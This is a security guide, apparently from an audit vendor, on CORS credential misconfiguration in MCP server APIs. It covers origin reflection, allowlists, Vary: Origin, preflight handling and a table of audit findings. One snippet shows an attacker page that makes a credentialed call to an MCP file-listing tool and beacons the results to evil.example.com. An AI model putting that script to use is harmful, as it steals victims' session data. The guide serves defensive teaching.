MCP Server Security · CORS Credentials

MCP server CORS credential security — Access-Control-Allow-Credentials, withCredentials XHR, origin allowlisting for credentialed requests, and CORS misconfiguration in MCP server APIs

CORS credential attacks exploit a specific class of CORS misconfiguration where a server sends Access-Control-Allow-Credentials: true alongside a permissive or dynamically-reflected Access-Control-Allow-Origin header. Browsers normally block credentialed cross-origin requests (requests that include cookies, Authorization headers, or TLS client certificates) unless the server explicitly allows them. A misconfigured CORS policy can grant any origin read access to credentialed MCP API responses — tool call results, session data, and user-specific content that is normally protected by authentication.

Why wildcards and credentials are mutually exclusive

Browsers enforce a hard rule: Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true cannot be combined. If you set both, the browser rejects the cross-origin request entirely — the credentials rule overrides the wildcard. This is an intentional browser security constraint: if any origin could read credentialed responses, cookies would be universally exfiltrable.

The dangerous misconfiguration that bypasses this protection is origin reflection: echoing the request's Origin header back as Access-Control-Allow-Origin. This is functionally equivalent to Allow-Origin: * for authenticated endpoints, but the browser allows it because the reflected value is a specific origin, not a wildcard.

// DANGEROUS: origin reflection — common in CORS middleware with incorrect configuration
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin) {
    // Reflecting the request origin — any origin gets full credentials access
    res.setHeader('Access-Control-Allow-Origin', origin);          // WRONG
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

// CORRECT: explicit allowlist
const ALLOWED_ORIGINS = new Set([
  'https://skillaudit.dev',
  'https://app.skillaudit.dev',
  // Development only — remove in production:
  // 'http://localhost:5173',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin'); // Required: prevents caching one origin's grant for another
  }
  // If origin not in allowlist: no CORS headers — browser blocks the cross-origin read
  next();
});

The Vary: Origin header is mandatory when you have a dynamic CORS allowlist. Without it, a CDN or intermediate cache may serve the CORS-allowed response (with a specific Allow-Origin: https://app.example.com header) to a requester from a different origin. That requester sees a cached response granting cross-origin access to a different origin's credentials. Always set Vary: Origin on responses with dynamic CORS headers.

The attack: credentialed cross-origin MCP tool call

With reflected-origin CORS and credentials enabled, any website the MCP server's user visits can silently invoke MCP tools on their behalf:

// Attacker's malicious page at https://evil.example.com
// When the MCP server user visits this page, it invokes tools with their session

(async () => {
  // withCredentials: true — sends the user's MCP session cookies
  const response = await fetch('https://api.skillaudit.dev/mcp/tools/listFiles', {
    method: 'POST',
    credentials: 'include',           // Send cookies with cross-origin request
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ path: '/home/user' }),
  });

  if (response.ok) {
    const data = await response.json();
    // Exfiltrate the user's file listing
    navigator.sendBeacon('https://evil.example.com/collect', JSON.stringify(data));
  }
})();

If the MCP server reflects the Origin: https://evil.example.com header back as the Access-Control-Allow-Origin value, the browser allows the read. The attacker now has the user's tool response data — and can repeat this for any tool the user has access to.

CORS for MCP API endpoints: decision table

Use caseCredentials neededCorrect CORS setting
MCP tool API called from same-origin MCP UINo — same-origin, no CORS neededNo CORS headers required
MCP tool API called from a known partner frontend on a different subdomainYes — session cookies neededExplicit allowlist of known origins + Allow-Credentials: true + Vary: Origin
MCP tool API called by third-party apps using API keys (Bearer token)No — Bearer token in Authorization header is not a "credential" in CORS termsAllow-Origin: * is safe (no cookies) — or allowlist if restricting to known partners
MCP webhook receiverNo — webhook senders don't send cookiesAllow-Origin: * or no CORS header needed
Public read-only MCP data API (no auth)NoAllow-Origin: * is safe

Prefer Authorization headers over cookies for MCP API authentication. Bearer tokens in the Authorization header are not sent on cross-origin requests unless the code explicitly sets them. Cookies are automatically included by the browser on any cross-origin request that has credentials: 'include'. Bearer token authentication sidesteps the CORS credentials problem entirely: you can use Allow-Origin: * because there are no cookies to exfiltrate via credentialed cross-origin requests.

CORS preflight and credentialed requests

Credentialed requests that are not "simple" (GET/POST with simple headers) trigger a CORS preflight: an OPTIONS request that must also receive the correct Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers before the browser sends the actual request. If your preflight endpoint reflects origins but your main endpoint has a stricter allowlist (or vice versa), the inconsistency can create a bypass.

// Handle OPTIONS preflight consistently with the same allowlist used for actual requests
app.options('*', (req, res) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400'); // Cache preflight for 24h
    res.setHeader('Vary', 'Origin');
  }
  res.sendStatus(204);
});

SkillAudit findings for CORS credential misconfiguration in MCP servers

CRITICAL −24Origin reflection: Access-Control-Allow-Origin is set to the request's Origin header value unconditionally, combined with Access-Control-Allow-Credentials: true — any origin can make credentialed requests and read tool responses with the victim's session
CRITICAL −22Null origin allowed with credentials: Access-Control-Allow-Origin: null + Allow-Credentials: true — sandboxed iframes and file:// pages send Origin: null; attacker sandboxed iframe can make credentialed requests to the MCP API
HIGH −18CORS allowlist uses suffix match or substring match (origin.endsWith('.example.com')) without anchoring — evil.example.com.attacker.com matches the suffix check and receives credential grants
HIGH −16Missing Vary: Origin on CORS responses with dynamic allowlist — CDN caches grant for one origin and serves it to different origins; cached Allow-Origin header may grant cross-origin access to the wrong client
MEDIUM −12Development origins (http://localhost:3000) hardcoded in production CORS allowlist — any process running on port 3000 of the user's machine can make credentialed requests to the production MCP API
MEDIUM −8Preflight handler allows all origins but main handler has a stricter allowlist (or vice versa) — inconsistency creates a bypass where the preflight response grants access but the main response doesn't validate the same allowlist

See also: CSRF security · OAuth security · Session isolation

Run a free SkillAudit on your MCP server →